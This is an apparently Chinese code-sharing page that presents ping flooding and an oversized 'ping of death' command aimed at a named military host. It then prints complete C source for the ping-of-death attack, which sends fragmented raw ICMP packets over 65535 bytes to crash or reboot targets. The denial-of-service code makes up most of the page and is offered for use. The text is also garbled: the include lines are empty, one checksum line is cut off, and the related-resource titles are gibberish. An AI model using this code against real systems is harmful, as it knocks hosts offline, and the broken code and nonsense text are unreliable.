肯德基发金凤凰丢就 负电荷幅度 ping命令的简单形式
源代码在线查看: ping命令的基本格式:.txt
1.Ping命令的基本格式:
ping hostname
其中hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。
C:> ping -f hostname
这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95的计算机上,使用下面的方法:
c:\windows\ping -l 65500 saddam_hussein's.computer.mil
这样做了之后,目标计算机有可能会挂起来,或从新启动。由于 -l 65510 产生一个巨大的数据包。由于要求返回一个同样的数据包,会使目标计算机反应不过来。
在Linux计算机上,可以编写一个程序来实现上述方法。
#include
#include
#include
#include
#include
#include
#include
#include
/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO /* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
|
相关资源 |
|
-
肯德基发金凤凰丢就 负电荷幅度 ping命令的简单形式
-
大接访刻录速度飞 萨芬德甲联赛肯德基弗兰克设计的弗兰克设计的飞 三等奖弗兰克三等奖弗兰克就
-
很过瘾的虚拟肯德基买卖模拟机,上学期JAVA课的PROJECT,可以设定出售和生产的比例,体现后台的multiple thread
-
Bosh的是用 的数量份开始发送肯德基菲拉斯到访
-
5454 肯德基阔的 扩军地矿局马扩军地矿局阔阔 肯德基扩军卡扩军肯德基扩军地矿局扩军肯德基扩军卡负亏
-
DS18B20程序传给有用的人看阿拉丁及为激发沃尔夫奇偶数肯德基罚款
-
玉儿无神地呆在办公室,她不想回家,她象受到重创般再没有以往的神气,就在她正享受这份孤独寂寞时,刺耳的短信...刚刚发了一篇作品,一种好奇心的驱使,她误闯进了一家聊天室,其实也就是联想总站的一个小聊天室
-
阳光酒店管理系统
今天发个以前刚学JAVA时做的一个作业,希望对初学JAVA的朋友有帮助~
项目用的MSSQL,里面有数据库,配上就可以用,程序从Login.java运行开始.
conf
|